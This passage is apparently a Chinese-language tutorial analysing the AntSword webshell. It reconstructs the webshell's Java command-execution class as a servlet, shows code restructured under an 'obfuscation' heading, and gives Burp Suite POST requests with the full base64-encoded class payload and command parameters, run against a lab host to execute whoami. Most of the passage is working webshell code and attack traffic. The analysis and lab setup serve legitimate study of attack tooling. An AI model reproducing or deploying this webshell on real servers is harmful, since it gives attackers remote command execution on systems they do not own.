var4.close();
}
}
new Exec().equals(pageContext);
%>
删除红色方框代码,导入类
将var1
全部改为pageContext
,
添加调用代码new Exec().equals(pageContext);
1.6. debug调试
whoami
1.6.1.1. 创建一个控制器
package com.example.antsword_analysis;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
@WebServlet("/CommandExecuteServlet")
public class CommandExecuteServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
1.6.1.2. 创建Exec类,将代码移到Exec类中
package com.example.antsword_analysis;
import com.sun.org.apache.bcel.internal.classfile.Field;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
class Exec {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Exec() {
}
public boolean equals(Object pageContext) {
if (pageContext instanceof PageContext) {
PageContext var2 = (PageContext) pageContext;
this.request = (HttpServletRequest) var2.getRequest();
this.response = (HttpServletResponse) var2.getResponse();
} else {
Field var4;
Field var15;
if (pageContext instanceof HttpServletRequest) {
this.request = (HttpServletRequest) pageContext;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var14) {
var14.printStackTrace();
}
} else if (pageContext instanceof HttpServletResponse) {
this.response = (HttpServletResponse) pageContext;
try {
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
}
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var16 = new StringBuffer("");
StringBuffer var18 = new StringBuffer("");
String var19 = "7f6be86";
String var5 = "d971b";
String var6 = "y33f4764530ede";
String var7 = "m7d72b47fc6ecf";
String var8 = "z6b66603f98c92";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var9 = this.EC(this.decode(this.request.getParameter(var6) + ""));
String var10 = this.EC(this.decode(this.request.getParameter(var7) + ""));
String var11 = this.EC(this.decode(this.request.getParameter(var8) + ""));
var16.append(var19);
var18.append(this.ExecuteCommandCode(var9, var10, var11));
var16.append(var18.toString());
var16.append(var5);
this.response.getWriter().print(var16.toString());
} catch (Exception var12) {
var18.append("ERROR:// " + var12.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var9 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var9);
} catch (Exception var8) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
byte[] var10;
try {
Class var11 = Class.forName("sun.misc.BASE64Decoder");
var10 = (byte[]) ((byte[]) var11.getMethod("decodeBuffer", String.class).invoke(var11.newInstance(), var1));
} catch (ClassNotFoundException var7) {
Class var12 = Class.forName("java.util.Base64");
Object var13 = var12.getMethod("getDecoder").invoke((Object) null);
var10 = (byte[]) ((byte[]) var13.getClass().getMethod("decode", String.class).invoke(var13, var1));
}
return new String(var10, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for (int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String ExecuteCommandCode(String var1, String var2, String var3) throws Exception {
StringBuffer var4 = new StringBuffer("");
String[] var5 = new String[]{var1, !this.isWin() ? "-c" : "/c", var2};
Map var6 = System.getenv();
HashMap var7 = new HashMap(var6);
String[] var8 = var3.split("\\|\\|\\|asline\\|\\|\\|");
for (int var9 = 0; var9 < var8.length; ++var9) {
String[] var10 = var8[var9].split("\\|\\|\\|askey\\|\\|\\|");
if (var10.length == 2) {
var7.put(var10[0], var10[1]);
}
}
String[] var13 = new String[var7.size()];
int var14 = 0;
for (Iterator var11 = var7.keySet().iterator(); var11.hasNext(); ++var14) {
String var12 = (String) var11.next();
var13[var14] = var12 + "=" + (String) var7.get(var12);
}
Process var15 = Runtime.getRuntime().exec(var5, var13);
this.CopyInputStream(var15.getInputStream(), var4);
this.CopyInputStream(var15.getErrorStream(), var4);
return var4.toString();
}
boolean isWin() {
String var1 = System.getProperty("os.name");
var1 = var1.toLowerCase();
return var1.startsWith("win");
}
void CopyInputStream(InputStream var1, StringBuffer var2) throws Exception {
BufferedReader var4 = new BufferedReader(new InputStreamReader(var1, this.cs));
String var3;
while ((var3 = var4.readLine()) != null) {
var2.append(var3 + "\r\n");
}
var4.close();
}
}
1.6.1.3. 代码混淆
1.6.1.3.1. 修改前
if (pageContext instanceof PageContext) {
PageContext var2 = (PageContext) pageContext;
this.request = (HttpServletRequest) var2.getRequest();
this.response = (HttpServletResponse) var2.getResponse();
} else {
Field var4;
Field var15;
if (pageContext instanceof HttpServletRequest) {
this.request = (HttpServletRequest) pageContext;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var14) {
var14.printStackTrace();
}
} else if (pageContext instanceof HttpServletResponse) {
this.response = (HttpServletResponse) pageContext;
try {
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
}
}
1.6.1.3.2. 修改后
this.request = httpServletRequest;
this.response = httpServletResponse;
Field var4;
java.lang.reflect.Field var15;
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
或者
this.request = httpServletRequest;
this.response = httpServletResponse;
Field var4;
java.lang.reflect.Field var15;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
或者
this.request = httpServletRequest;
this.response = httpServletResponse;
Field var4;
Field var15;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
} catch (Exception var14) {
var14.printStackTrace();
}
try {
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
package com.example.antsword_analysis;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
class Exec {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder;
public String cs;
public String randomPrefix;
public Exec() {
}
public boolean equals(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
this.request = httpServletRequest;
this.response = httpServletResponse;
Field var4;
java.lang.reflect.Field var15;
try {
var15 = this.request.getClass().getDeclaredField("request");
var15.setAccessible(true);
HttpServletRequest var3 = (HttpServletRequest) var15.get(this.request);
var4 = var3.getClass().getDeclaredField("response");
var4.setAccessible(true);
this.response = (HttpServletResponse) var4.get(var3);
var15 = this.response.getClass().getDeclaredField("response");
var15.setAccessible(true);
HttpServletResponse var17 = (HttpServletResponse) var15.get(this.response);
var4 = var17.getClass().getDeclaredField("request");
var4.setAccessible(true);
this.request = (HttpServletRequest) var4.get(var17);
} catch (Exception var13) {
var13.printStackTrace();
}
this.randomPrefix = "2";
this.encoder = "base64";
this.cs = "UTF8";
StringBuffer var16 = new StringBuffer("");
StringBuffer var18 = new StringBuffer("");
String var19 = "7f6be86";
String var5 = "d971b";
String var6 = "y33f4764530ede";
String var7 = "m7d72b47fc6ecf";
String var8 = "z6b66603f98c92";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
String var9 = this.EC(this.decode(this.request.getParameter(var6) + ""));
String var10 = this.EC(this.decode(this.request.getParameter(var7) + ""));
String var11 = this.EC(this.decode(this.request.getParameter(var8) + ""));
var16.append(var19);
var18.append(this.ExecuteCommandCode(var9, var10, var11));
var16.append(var18.toString());
var16.append(var5);
this.response.getWriter().print(var16.toString());
} catch (
Exception var12) {
var18.append("ERROR:// " + var12.toString());
}
return true;
}
String EC(String var1) throws Exception {
return this.encoder.equals("hex") ? var1 : new String(var1.getBytes(), this.cs);
}
String decode(String var1) throws Exception {
boolean var2 = false;
try {
int var9 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var9);
} catch (Exception var8) {
var2 = false;
}
String var3;
if (!this.encoder.equals("hex")) {
if (this.encoder.equals("base64")) {
var3 = null;
byte[] var10;
try {
Class var11 = Class.forName("sun.misc.BASE64Decoder");
var10 = (byte[]) ((byte[]) var11.getMethod("decodeBuffer", String.class).invoke(var11.newInstance(), var1));
} catch (ClassNotFoundException var7) {
Class var12 = Class.forName("java.util.Base64");
Object var13 = var12.getMethod("getDecoder").invoke((Object) null);
var10 = (byte[]) ((byte[]) var13.getClass().getMethod("decode", String.class).invoke(var13, var1));
}
return new String(var10, "UTF-8");
} else {
return var1;
}
} else if (var1 != null && !var1.equals("")) {
var3 = "0123456789ABCDEF";
var1 = var1.toUpperCase();
ByteArrayOutputStream var4 = new ByteArrayOutputStream(var1.length() / 2);
String var5 = "";
for (int var6 = 0; var6 < var1.length(); var6 += 2) {
var5 = var5 + (var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1))) + ",";
var4.write(var3.indexOf(var1.charAt(var6)) << 4 | var3.indexOf(var1.charAt(var6 + 1)));
}
return var4.toString("UTF-8");
} else {
return "";
}
}
String ExecuteCommandCode(String var1, String var2, String var3) throws Exception {
StringBuffer var4 = new StringBuffer("");
String[] var5 = new String[]{var1, !this.isWin() ? "-c" : "/c", var2};
Map var6 = System.getenv();
HashMap var7 = new HashMap(var6);
String[] var8 = var3.split("\\|\\|\\|asline\\|\\|\\|");
for (int var9 = 0; var9 < var8.length; ++var9) {
String[] var10 = var8[var9].split("\\|\\|\\|askey\\|\\|\\|");
if (var10.length == 2) {
var7.put(var10[0], var10[1]);
}
}
String[] var13 = new String[var7.size()];
int var14 = 0;
for (Iterator var11 = var7.keySet().iterator(); var11.hasNext(); ++var14) {
String var12 = (String) var11.next();
var13[var14] = var12 + "=" + (String) var7.get(var12);
}
Process var15 = Runtime.getRuntime().exec(var5, var13);
this.CopyInputStream(var15.getInputStream(), var4);
this.CopyInputStream(var15.getErrorStream(), var4);
return var4.toString();
}
boolean isWin() {
String var1 = System.getProperty("os.name");
var1 = var1.toLowerCase();
return var1.startsWith("win");
}
void CopyInputStream(InputStream var1, StringBuffer var2) throws Exception {
BufferedReader var4 = new BufferedReader(new InputStreamReader(var1, this.cs));
String var3;
while ((var3 = var4.readLine()) != null) {
var2.append(var3 + "\r\n");
}
var4.close();
}
}
1.6.1.4. 封装在CommandExecuteServlet
中
package com.example.antsword_analysis;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
@WebServlet("/CommandExecuteServlet")
public class CommandExecuteServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
new Exec().equals(request, response);
}
}
1.6.1.5. 证明可以抓包
1.6.1.6. 使用burp suite发送带参数的数据包
POST /antsword/CommandExecuteServlet HTTP/1.1
Host: 192.168.11.1:8088
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7949
Connection: close
m7d72b47fc6ecf=PBY2QgL2QgIkM6L1VzZXJzL2h1bnRlci9JZGVhUHJvamVjdHMvYW50c3dvcmRfYW5hbHlzaXMvdGFyZ2V0L2FudHN3b3JkX2FuYWx5c2lzLTEuMC1TTkFQU0hPVC8iJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D&passwd=yv66vgAAADMBaAoASgCYCQBzAJkJAHMAmgcAmwoABACcBwCdCgAEAJ4HAJ8KAEoAoAgAdAoARwChCgCiAKMKAKIApAgAdgcApQoADwCmCACnCQBzAKgIAKkJAHMAqggAqwkAcwCsBwCtCACuCgAXAK8IALAIALEIALIIALMIALQIALULAAgAtgsABgC3CwAIALcHALgKACMAmAsABgC5CgAjALoKACMAuwoAcwC8CgBzAL0KABcAvgoAcwC%2FCgAXALsLAAgAwAoAwQDCCADDCgAPALsIAMQKADMAxQcAxgoAMwDHCgAzAMgKAMkAygoAMwDLCADMCgAzAM0HAM4KADMAzwoAOgDQCgAzANEKADMA0goAIwDTCADUCgA6ANUIANYKADoA1wgA2AoARwDZCADaBwDbCgBHANwKAEcA3QcA3goA3wDgBwDhBwDiCADjCADkCACKCgBzAOUIAOYIAOcKAOgA6QcA6goAVQDrCADsCgAzAO0IAO4LAO8A8AsA7wDxCwDvAPILAPMA9AsA9QD2CwD1APcIAPgLAO8ApAoA%2BQD6CgD5APsKAPwA%2FQoAcwD%2BCgD8AP8IAQAKAOgBAQoAMwECCAEDCgAzAQQHAQUHAQYKAG0BBwoAbAEICgBsAQkIAQoKAGwBCwcBDAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAxyYW5kb21QcmVmaXgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcApQcBDAcA3gcArQcAxgEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwDOBwDiAQASRXhlY3V0ZUNvbW1hbmRDb2RlAQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHAQ0HAQ4HAQ8BAAVpc1dpbgEAAygpWgEAD0NvcHlJbnB1dFN0cmVhbQEAMChMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjspVgcBBQcBEAwAfAB9DAB0AHUMAHYAdwEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DAERARIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DAETARQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwBFQEWDAEXARgHARkMARoBGwwBHAEdAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBHgB9AQABMgwAewB5AQAGYmFzZTY0DAB4AHkBAARVVEY4DAB6AHkBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADAB8AR8BAAc3ZjZiZTg2AQAFZDk3MWIBAA55MzNmNDc2NDUzMGVkZQEADm03ZDcyYjQ3ZmM2ZWNmAQAOejZiNjY2MDNmOThjOTIBAAl0ZXh0L2h0bWwMASABHwwBIQEfAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMASIAiAwBIwEkDAElASYMAIoAiAwAhwCIDAEjAScMAI0AjgwBKAEpBwEqDAErAR8BAAlFUlJPUjovLyABAANoZXgMAH8AgAEAEGphdmEvbGFuZy9TdHJpbmcMASwBLQwAfAEuBwEvDAEwATEMATIBMwEAEDAxMjM0NTY3ODlBQkNERUYMATQBJgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAE1ATYMAHwBNwwBOAE5DAE6ATsMASMBPAEAASwMAT0BNwEABVVURi04DAElAIgBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAE%2BAT8BAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAUABQQwBQgFDAQAQamF2YS9sYW5nL09iamVjdAcBRAwBRQFGAQACW0IBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyDACSAJMBAAItYwEAAi9jBwFHDAFIAUkBABFqYXZhL3V0aWwvSGFzaE1hcAwAfAFKAQASXHxcfFx8YXNsaW5lXHxcfFx8DAFLAUwBABFcfFx8XHxhc2tleVx8XHxcfAcBDgwBTQFODAFPATYMAVABUQcBUgwBUwFUBwEPDAFVAJMMAVYBQwEAAT0HAVcMAVgBWQwBWgFbBwFcDAFdAV4MAJQAlQwBXwFeAQAHb3MubmFtZQwBYACIDAFhASYBAAN3aW4MAWIBYwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAB8AWQMAHwBZQwBZgEmAQACDQoMAWcAfQEABEV4ZWMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQANamF2YS91dGlsL01hcAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1N5c3RlbQEABmdldGVudgEAESgpTGphdmEvdXRpbC9NYXA7AQASKExqYXZhL3V0aWwvTWFwOylWAQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHNpemUBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQAEbmV4dAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBADsoW0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmdldEVycm9yU3RyZWFtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAVjbG9zZQAhAHMASgAAAAUAAQB0AHUAAAABAHYAdwAAAAEAeAB5AAAAAQB6AHkAAAABAHsAeQAAAAcAAQB8AH0AAQB%2BAAAAGwACAAEAAAAPKrcAASoBtQACKgG1AAOxAAAAAAABAH8AgAABAH4AAAJcAAUADAAAAfsrwQAEmQAhK8AABE0qLLYABcAABrUAAiostgAHwAAItQADpwCsK8EABpkAUiorwAAGtQACKrQAArYACRIKtgALTSwEtgAMLCq0AAK2AA3AAAZOLbYACRIOtgALOgQZBAS2AAwqGQQttgANwAAItQADpwBeTSy2ABCnAFYrwQAImQBPKivAAAi1AAMqtAADtgAJEg62AAtNLAS2AAwsKrQAA7YADcAACE4ttgAJEgq2AAs6BBkEBLYADCoZBC22AA3AAAa1AAKnAAhNLLYAECoSEbUAEioSE7UAFCoSFbUAFrsAF1kSGLcAGU27ABdZEhi3ABlOEho6BBIbOgUSHDoGEh06BxIeOggqtAADEh%2B5ACACACq0AAIqtAAWuQAhAgAqtAADKrQAFrkAIgIAKiq7ACNZtwAkKrQAAhkGuQAlAgC2ACYSGLYAJrYAJ7YAKLYAKToJKiq7ACNZtwAkKrQAAhkHuQAlAgC2ACYSGLYAJrYAJ7YAKLYAKToKKiq7ACNZtwAkKrQAAhkIuQAlAgC2ACYSGLYAJrYAJ7YAKLYAKToLLBkEtgAqVy0qGQkZChkLtgArtgAqVywttgAstgAqVywZBbYAKlcqtAADuQAtAQAstgAstgAupwAhOgktuwAjWbcAJBIvtgAmGQm2ADC2ACa2ACe2ACpXBKwAAwA0AHAAcwAPAIoAxgDJAA8BCAHYAdsADwABAIEAAAA3AAcl9wBNBwCCB%2FcATQcAggT%2FAQwACQcAgwcAhAcAhQcAhQcAhgcAhgcAhgcAhgcAhgABBwCCHQAAAIcAiAACAH4AAAAzAAQAAgAAAB4qtAAUEjG2ADKZAAUrsLsAM1krtgA0KrQAFrcANbAAAAABAIEAAAADAAEOAIkAAAAEAAEADwAAAIoAiAACAH4AAAG6AAYABwAAAUoDPSq0ABK4ADY9Kxy2ADdMpwAGTgM9KrQAFBIxtgAymQCYK8YADCsSGLYAMpkABhIYsBI4Tiu2ADlMuwA6WSu2ADsFbLcAPDoEEhg6BQM2BhUGK7YAO6IAWbsAI1m3ACQZBbYAJi0rFQa2AD22AD4HeC0rFQYEYLYAPbYAPoC2AD8SQLYAJrYAJzoFGQQtKxUGtgA9tgA%2BB3gtKxUGBGC2AD22AD6AtgBBhAYCp%2F%2BkGQQSQrYAQ7AqtAAUEhO2ADKZAIgBThJEuABFOgQZBBJGBL0AR1kDEwAzU7YASBkEtgBJBL0ASlkDK1O2AEvAAEzAAExOpwBJOgQSTrgARToFGQUSTwO9AEe2AEgBA70ASrYASzoGGQa2AAkSUAS9AEdZAxMAM1O2AEgZBgS9AEpZAytTtgBLwABMwABMTrsAM1ktEkK3ADWwK7AAAgACABAAEwAPAMUA9AD3AE0AAQCBAAAATgAK%2FwATAAMHAIMHAIYBAAEHAIICGAL%2FAB0ABwcAgwcAhgEHAIYHAIsHAIYBAAD6AF74AAf%2FAD8ABAcAgwcAhgEHAEwAAQcAjPsARfoACgCJAAAABAABAA8AAACNAI4AAgB%2BAAABhAAFAA0AAAD%2FuwAXWRIYtwAZOgQGvQAzWQMrU1kEKrYAUZoACBJSpwAFElNTWQUsUzoFuABUOga7AFVZGQa3AFY6By0SV7YAWDoIAzYJFQkZCL6iACwZCBUJMhJZtgBYOgoZCr4FoAATGQcZCgMyGQoEMrkAWgMAV4QJAaf%2F0hkHuQBbAQC9ADM6CQM2ChkHuQBcAQC5AF0BADoLGQu5AF4BAJkAPRkLuQBfAQDAADM6DBkJFQq7ACNZtwAkGQy2ACYSYLYAJhkHGQy5AGECAMAAM7YAJrYAJ1OECgGn%2F7%2B4AGIZBRkJtgBjOgsqGQu2AGQZBLYAZSoZC7YAZhkEtgBlGQS2ACywAAAAAQCBAAAAcwAH%2FwAhAAUHAIMHAIYHAIYHAIYHAIUAAwcAjwcAjwH%2FAAEABQcAgwcAhgcAhgcAhgcAhQAEBwCPBwCPAQcAhv8AIQAKBwCDBwCGBwCGBwCGBwCFBwCPBwCQBwCQBwCPAQAAKvoABf4AHAcAjwEHAJH6AEMAiQAAAAQAAQAPAAAAkgCTAAEAfgAAADIAAgACAAAAGBJnuABoTCu2AGlMKxJqtgBrmQAFBKwDrAAAAAEAgQAAAAgAAfwAFgcAhgAAAJQAlQACAH4AAABxAAYABQAAAEC7AGxZuwBtWSsqtAAWtwButwBvOgQZBLYAcFlOxgAeLLsAI1m3ACQttgAmEnG2ACa2ACe2ACpXp%2F%2FeGQS2AHKxAAAAAQCBAAAAHwAC%2FQAVAAcAlv8AJAAFBwCDBwCXBwCFBwCGBwCWAAAAiQAAAAQAAQAPAAA%3D&y33f4764530ede=CiY21k&z6b66603f98c92=gA
跳转到当前文件所在的目录,然后执行whoami
,进行命令执行
通过使用Runtime.getRuntime().exec
方法来执行对应的命令
使用getInputStream
读值,然后赋值给var4
,最后以字符串格式返回
最终的返回结果
ipconfig
POST /antsword/command_2 HTTP/1.1
Host: 192.168.100.1:8088
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7945
Connection: close
